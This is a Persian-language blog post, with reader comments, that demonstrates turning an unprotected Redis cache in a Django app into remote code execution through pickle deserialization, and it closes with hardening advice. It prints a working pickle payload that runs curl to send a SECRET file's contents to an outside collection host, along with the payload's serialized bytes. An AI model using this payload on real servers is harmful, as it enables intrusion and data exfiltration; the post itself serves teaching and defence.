نگاره‌هایی پیرامون امنیت، شبکه و رمزنگاری

16 مه 2021

استفاده از Redis Cache در اپلیکیشن‌های وب متداول است. به علت سادگی راه‌اندازی (در حد docker run redis)، ممکن است در تنظیمات امنیتی Redis سهل‌انگاری شود و این دیتابیس در دسترس نفوذگران قرار گیرد. پیش‌تر ذهنیتم این بود که اگر روزی موفق به نفوذ به یک Redis شوم، شاید اطلاعات ارزشمندی در آن Cache بیابم، اما نمی‌توانم به اپلیکیشن تحت وب و سروری که آن را اجرا می‌کند نفوذ کنم.

در این مطلب بررسی می‌کنیم که یک Redis Cache آسیب‌پذیر، علاوه بر این‌که می‌تواند باعث لو رفتن اطلاعات Cache شده باشد، ممکن است پاشنه‌آشیل اپلیکیشن Backend نیز باشد؛ یعنی نفوذگران می‌توانند از طریق یک Redis Cache آسیب‌پذیر، به سرور Backend نفوذ کنند و سطح دسترسی خودشان را بدین‌شکل افزایش دهند.

برای تست این موضوع، یک اپلیکیشن وب تحت Django و با استفاده از Redis Cache راه‌اندازی می‌کنیم. این اپلیکیشن تنها یک view به نام factorial_view دارد که وظیفه‌ی آن، محاسبه‌ی فاکتوریل عدد ورودی می‌باشد.

مقدار n در url قرار می‌گیرد و حاصل factorial(n) در پاسخ ارسال می‌شود.

اما این اپلیکیشن، برای تسریع در پاسخ‌گویی به درخواست‌های خود، از Cache استفاده می‌کند. هر بار که یک n جدید دریافت می‌کند، یک بار factorial(n) را محاسبه می‌کند و آن را در Cache قرار می‌دهد. وقتی که یک n به برنامه داده شود که از پیش در Cache وجود داشته باشد، دیگر محاسبه انجام نخواهد شد و مقادیر از Cache فراخوانی می‌شوند.

برای تست این‌که مکانیزم Cache به درستی کار می‌کند، مقدار Cache شده برای factorial(5) را در Redis به ۱۳ تغییر می‌دهیم و نتیجه را بررسی می‌کنیم.

با تغییر مقدار Cache شده، پاسخ سرور تغییر می‌کند و این یعنی مقادیر موجود در Cache دوباره محاسبه نمی‌شوند.

تا این‌جای کار همه‌چیز مطابق میل کار می‌کند. ولی ما در امنیت Redis خودمان سهل‌انگاری کرده‌ایم و روی آن رمز قرار نداده‌ایم. لذا یک نفوذگر (در این‌جا به نام «جوادی») به آن نفوذ می‌کند و می‌تواند فاکتوریل کلی عدد را در ابتدا از Redis ما استخراج کند. اما جوادی حریص‌تر از این‌هاست و دنبال راهی می‌گردد که بتواند به سرور Backend ما نفوذ کند (چون مدیر سایتمان اطلاعات فوق سری‌ای را روی فایلی به نام SECRET در سرور Backend قرار داده است).

جوادی می‌داند که در Django، به صورت پیش‌فرض برای ذخیره کردن مقادیر در Cache، از Serialization/Deserialization استفاده می‌شود و این عملیات بر عهده‌ی pickle قرار دارد. اما یک موضوع مهم در خصوص pickle وجود دارد و آن موضوع، آسیب‌پذیری pickle به RCE در ورودی‌ها است؛ یعنی هیچ‌گاه نباید pickle.load را روی ورودی‌ای اجرا کنیم که به پاکیِ آن اطمینان نداریم. باگ‌های دسته‌بندی Insecure Deserialization یکی از ۱۰ باگ برتر OWASP هستند. این موضوع نشان‌دهنده‌ی تکرار زیاد این دسته در کنار تأثیرگذار بودن آن‌هاست.

from django.core.cache import cache

cache.set(key, value) # <= Uses pickle to serialize the value and puts it into the cache

cache.get(key) # <= Uses pickle to deserialize the value and returns it to the application

جوادی با خواندن «این پست» یاد می‌گیرد از طریق اسکریپت زیر، یک دنباله از Byteها بسازد که در صورت Deserialize شدن توسط pickle، منجر به اجرای یک دستور روی سرور شوند. هم‌چنین از سایت RequestBin برای دریافت محتوای فایل حساس استفاده می‌کند(در واقع به این عمل out-of-band data extraction گفته می‌شود که از طریق اجرای nc روی یک سرور با IP پابلیک یا استفاده از ابزارهایی چون interact.sh قابل انجام است).

import pickle
import os


class RCE:
    def __reduce__(self):
        cmd = ('curl -d "`cat SECRET`" https://en65ju5qj26pr.x.pipedream.net/')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(list(pickled))
Output: [128, 4, 149, 88, 0, 0, 0, 0, 0, 0, 0, 140, 5, 112, 111, 115, 105, 120, 148, 140, 6, 115, 121, 115, 116, 101, 109, 148, 147, 148, 140, 61, 99, 117, 114, 108, 32, 45, 100, 32, 34, 96, 99, 97, 116, 32, 83, 69, 67, 82, 69, 84, 96, 34, 32, 104, 116, 116, 112, 115, 58, 47, 47, 101, 110, 54, 53, 106, 117, 53, 113, 106, 50, 54, 112, 114, 46, 120, 46, 112, 105, 112, 101, 100, 114, 101, 97, 109, 46, 110, 101, 116, 47, 148, 133, 148, 82, 148, 46]

حال جوادی این دنباله از بایت‌ها را در Redis Cache جایگزین مقدار factorial(5) می‌کند و دوباره از سرور می‌خواهد که این مقدار را به او ارائه کند. پس از ارسال درخواست به آدرس http://127.0.0.1:8000/factorial/5، صحنه‌ی دل‌انگیزی را در RequestBin مشاهده می‌کند:

جوادی در این‌جا موفق به اجرای یک دستور روی سرور Backend شد؛ یعنی سطح دسترسی خود را از Cache به سرور Backend افزایش داده است. شما هم می‌توانید با اجرای این سناریو با استفاده از سورس‌کد این برنامه، حرکات جوادی را تکرار کنید.

در این پست، به حالت خاص نفوذ به Redis Cache یک اپلیکیشن Django پرداختیم. مشخصاً هر کجا که pickle برای Deserialization استفاده می‌شود، ممکن است این اتفاق رخ دهد و در واقع فرقی ندارد Redis برای Cache استفاده شود یا چیز دیگری. هم‌چنین این تکنیک به Django نیز وابستگی ندارد.

چطور آسیب‌پذیر نباشم؟

  • Redis خود را بدون رمز اجرا نکنید.
  • Redis خود را تنها روی Network Interfaceـی اجرا کنید که قرار است از آن طریق بهش متصل شوید؛ مثلاً اگر آن در شبکه‌ی داخلی docker اجرا می‌کنید و همان‌جا بهش وصل می‌شوید، به شبکه‌ی بیرونی وصلش نکنید.
  • هنگامی که از pickle برای Deserialize کردن Objectها استفاده می‌کنید، مطمئن باشید ورودی‌ها پاک هستند (از منشأ متفرقه ورودی نپذیرید).

اضافه شده توسط یاشار شاهین‌زاده: اگه دوست دارین بدونین که این آسیب‌پذیری رو چطور اکسپلویت می‌کنن،‌ میتونید این لینک رو مطالعه کنید. توی این پست هانتر با استفاده از آسیب‌پذیری SSRF تونسته کش Redis رو اکسپلویت کنه و ۱۵ هزار دلار بانتی دریافت کنه.

1 پست نوشته شده
مهندس نرم‌افزار
دسته‌ها: امنیت وب، دانش پایه
  • به اشتراک بگذارید:
برچسب‌ها: ،
  1. علی رضا گفت:

    همممم خیلی خوب بودش

  2. ردیس لاور گفت:

    دست مریزاد!

  3. redis گفت:

    سلام
    تشکر بابت این مقاله خوب

    من در محیط آزمایشی تست این آسیب پذیری رو انجام دادم ولی دسترسی از سرور حاصل نشد و خروجی دستورات لینوکسی هم به سمت interactsh نیومد.
    در حالی که اگر از ترمینال سرور امتحان کنیم دستور curl و command های داخلش در رکوئست دریافتی در interactsh وجود داره و مشکلی از آن نیست.
    کش ردیس هم درست عمل می کنه و با تغییر جواب فاکتوریل عدد ۵ از ۱۲۰ به مثلا ۹۹۹۹ در مرورگر هم عدد ۹۹۹۹ نشان داده می شه.

    مشکل اینجاست که وقتی در ویرایش ردیس به جای عدد ۹۹۹۹ خروجی آرایه ای حاصل از کدها رو قرار میدیم و ذخیره می کنیم در interactsh هیچ چیزی نشان داده نمیشه و اصلا انگار درخواستی به سمتش نمیره و در مرورگر هم ارور میاد که قسمتی ازش رو اینجا گذاشتم

    ممنون میشم راهنمایی کنید و یا اگر ممکن شد یک فیلم از کل فرآیند بزارید

    UnpicklingError at /factorial/5/

    invalid load key, ‘[‘.
    Request Method: GET
    Django Version: ۳٫۲٫۳
    Exception Type: UnpicklingError
    Exception Value:

    invalid load key, ‘[‘.

    Traceback
    ۳۴۲٫ value = int(value)
    During handling of the above exception (invalid literal for int() with base 10: b'[128, 4, 149, 100, ………..

  4. mtp1376 گفت:

    یک نظری یکی از دوستان در مورد اجرا در محیط آزمایشی گذاشته بود و ارور خورده بود موقع اجرا که موفق به تأیید اون نشدم. اما پاسخش رو این‌جا می‌نویسم که اگه سایت رو چک کرد بتونه ببینه.

    حدس قوی من اینه که شما لیست بایت‌ها رو به شکل رشته دارید روی ردیس می‌نویسید. ترجیحاً از پلاگین redis برای PyCharm استفاده کنید. اون پلاگین یه بخش داره که اجازه می‌ده صراحتاً بهش بگید که لیستی از byte ها رو روی ردیس بنویسه. اگه این رو تست کردید و جواب نداد، می‌تونید به من روی تلگرام پیام بدید تا بیشتر قضیه رو بررسی کنیم:
    username: mtp_zdr

  5. redis گفت:

    تشکر از شما
    راهنمایی عالی بود، با استفاده از پلاگین ردیس مشکل رفع شد و دسترسی از سرور آزمایشی گرفته شد
    من در ابتدا با دستور redis-cli در ترمینال باهاش کار می کردم و شاید موقع وارد کردن آرایه ها، مجددا encode صورت می گرفت
    مقاله خیلی مفیدی بود
    البته ما در سرورهای واقعی هم پورت پیشفرض ردیس رو تغییر میدیم و هم از پسورد استفاده می کنیم و هم دسترسی ریموت مسدود هست
    اما این مقاله نشان داد که رعایت نکردن نکات ایمنی در یک سرویس، تا چه حد میتونه برای سرور خطرناک باشه
    ممنون از نویسنده گرامی

  6. رضا گفت:

    عجب آدم کثیفیه این مرتیکه جوادی. واقعا که جوادی هست…..